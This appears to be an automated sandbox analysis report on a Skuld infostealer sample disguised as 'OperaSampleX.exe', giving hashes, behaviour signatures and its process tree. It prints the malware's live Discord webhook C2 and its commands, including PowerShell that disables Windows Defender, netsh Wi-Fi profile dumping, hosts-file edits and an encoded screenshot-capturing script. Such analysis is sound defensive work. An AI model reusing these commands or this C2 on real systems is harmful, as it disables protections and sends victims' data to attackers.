Analysis

  • max time kernel
    91s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08-12-2024 09:05

General

  • Target

    OperaSampleX.exe

  • Size

    9.8MB

  • MD5

    e70c39d1f1ac0e52fcc52d64fa871f30

  • SHA1

    f17425132831a1ad0a112c75b7a7f04fed73c965

  • SHA256

    1ef1e0470f27e25343087cd3ae225d4dd8711a31f308b314b83affe57b3181bb

  • SHA512

    50d4e45b23b50b531b6d1db7bbb8683a427b9060df77cd993bd6ef36163f44d882985c3217a4d15fab8e53437582d670da7549778918f5c0d68205b61794fb69

  • SSDEEP

    98304:hH6fVmD1C2gnoWoS7Kr7Eg7ru9MvE9pRD4Z4S5bovr:hH31C2bSI7Eg7ySsqBRovr

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1313142704439427092/YKwWrnk0E-QciBzXVfcEmZg-CAYCUchZuAphpzY_DvCmjRKFsYGLIEowP8dExV6arEe2

Signatures

  • Skuld family
  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\OperaSampleX.exe
    "C:\Users\Admin\AppData\Local\Temp\OperaSampleX.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2148
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\OperaSampleX.exe
      2⤵
      • Views/modifies file attributes
      PID:1460
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4860
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\OperaSampleX.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3340
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:936
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2236
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:3116
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      PID:3560
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
        PID:1856
      • C:\Windows\system32\attrib.exe
        attrib -r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:4880
      • C:\Windows\system32\attrib.exe
        attrib +r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:5016
      • C:\Windows\system32\netsh.exe
        netsh wlan show profiles
        2⤵
        • Event Triggered Execution: Netsh Helper DLL
        • System Network Configuration Discovery: Wi-Fi Discovery
        PID:2572
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:3784
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xelm3oak\xelm3oak.cmdline"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4516
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA690.tmp" "c:\Users\Admin\AppData\Local\Temp\xelm3oak\CSC6F873FAA694D452D8C1C5EDC7CA7FFE.TMP"
            4⤵
              PID:5056

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        d85ba6ff808d9e5444a4b369f5bc2730

        SHA1

        31aa9d96590fff6981b315e0b391b575e4c0804a

        SHA256

        84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

        SHA512

        8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        77d622bb1a5b250869a3238b9bc1402b

        SHA1

        d47f4003c2554b9dfc4c16f22460b331886b191b

        SHA256

        f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

        SHA512

        d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        9c740b7699e2363ac4ecdf496520ca35

        SHA1

        aa8691a8c56500d82c5fc8c35209bc6fe50ab1d9

        SHA256

        be96c91b62ba9ba7072ab89e66543328c9e4395150f9dbe8067332d94a3ecc61

        SHA512

        8885683f96353582eb871209e766e7eba1a72a2837ce27ea298b7b5b169621d1fa3fce25346b6bfd258b52642644234da9559d4e765a2023a5a5fc1f544cc7af

      • C:\Users\Admin\AppData\Local\Temp\RESA690.tmp

        Filesize

        1KB

        MD5

        0741c53ec8ee490bf2c0d6b641ba749d

        SHA1

        cdfc0c51b7a8074953c0ef200403256ef6b6f585

        SHA256

        c3c57a461f2d37754abcf12f2edf537baed4462546f5b30bb8d8a6c6c67c3863

        SHA512

        03c9d89412184108ebf647a47b30074944ad832250f424ac31e521e77c7230056acd6d27cc614fa1576453c3b4888a47d756e1e477647baa922cf8aef1840b5d

      • C:\Users\Admin\AppData\Local\Temp\UDY06MlhR4\Display (1).png

        Filesize

        419KB

        MD5

        789d137e33ec2c3f49d419ad036b6689

        SHA1

        1224eee9d485a14bede0805a20a7fb21279f511a

        SHA256

        f06c2b7cb00eb1fdd619e4d2549e566d8800534f040a0a4791df039814e40311

        SHA512

        0fe337375e4e922c744ecb5cb81a348be860319838f93eafff2fcc7f2a3f1fb30839fad25bdfb5fefcaf5313e05332357458da6b2df6b3bed707aee357956912

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fiu4dvk5.np2.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\xelm3oak\xelm3oak.dll

        Filesize

        4KB

        MD5

        312cff69715642a36e10b153f167a33a

        SHA1

        16f5447e629fca819641d31e28bd033a28112e53

        SHA256

        98f044a3a8ecacf5b32df5d289012047511c01968d2ae58cc6b1b63631392f66

        SHA512

        29c6b44db776598a00009e1387d69a912b79ecb80b3290f5721be7a92f9e9181ccb9ef1a4c9bb9780cbc968893c31f8b62078f1d91672967e4d0c000388a9be8

      • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

        Filesize

        9.8MB

        MD5

        e70c39d1f1ac0e52fcc52d64fa871f30

        SHA1

        f17425132831a1ad0a112c75b7a7f04fed73c965

        SHA256

        1ef1e0470f27e25343087cd3ae225d4dd8711a31f308b314b83affe57b3181bb

        SHA512

        50d4e45b23b50b531b6d1db7bbb8683a427b9060df77cd993bd6ef36163f44d882985c3217a4d15fab8e53437582d670da7549778918f5c0d68205b61794fb69

      • C:\Windows\System32\drivers\etc\hosts

        Filesize

        2KB

        MD5

        6e2386469072b80f18d5722d07afdc0b

        SHA1

        032d13e364833d7276fcab8a5b2759e79182880f

        SHA256

        ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

        SHA512

        e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

      • \??\c:\Users\Admin\AppData\Local\Temp\xelm3oak\CSC6F873FAA694D452D8C1C5EDC7CA7FFE.TMP

        Filesize

        652B

        MD5

        b81f6b0f64a1f534773060ace2c868af

        SHA1

        c79a00d0911d3c283cb339a252e2efc672fa9b39

        SHA256

        70bc9da584c26fb7175ed9bb731c682e1864e65fe860ea30cda601bf3e6c856d

        SHA512

        bbf5bda8cc6a4d88c0e5e28ba23bef394cfe01f79799f1f0bbd34823d61f11668e3bcf35090f4a14517510fe16d16615c9a32966f311570f7db97d615fe13971

      • \??\c:\Users\Admin\AppData\Local\Temp\xelm3oak\xelm3oak.0.cs

        Filesize

        1004B

        MD5

        c76055a0388b713a1eabe16130684dc3

        SHA1

        ee11e84cf41d8a43340f7102e17660072906c402

        SHA256

        8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

        SHA512

        22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

      • \??\c:\Users\Admin\AppData\Local\Temp\xelm3oak\xelm3oak.cmdline

        Filesize

        607B

        MD5

        71e4e885e7e32408ddb275c58c98b5de

        SHA1

        453d05a47cd9b669088665b11ce66415d74103c0

        SHA256

        a43f39bf262872a7cbd1d85164469ce637f1aacd61f92fa74926f7b459c706c1

        SHA512

        0445920e25755c079b87cdb7be2b07465c11cde992a8526cc4ba414e926bffe7f0aa61ed46689e0273ee6991097f75de010b985a908cfa926ddbb3990097e77f

      • memory/3340-0-0x00007FFF166E3000-0x00007FFF166E5000-memory.dmp

        Filesize

        8KB

      • memory/3340-22-0x00007FFF166E0000-0x00007FFF171A1000-memory.dmp

        Filesize

        10.8MB

      • memory/3340-13-0x00007FFF166E0000-0x00007FFF171A1000-memory.dmp

        Filesize

        10.8MB

      • memory/3340-12-0x00007FFF166E0000-0x00007FFF171A1000-memory.dmp

        Filesize

        10.8MB

      • memory/3340-1-0x000001D77C2C0000-0x000001D77C2E2000-memory.dmp

        Filesize

        136KB

      • memory/3784-63-0x00000170EC970000-0x00000170EC978000-memory.dmp

        Filesize

        32KB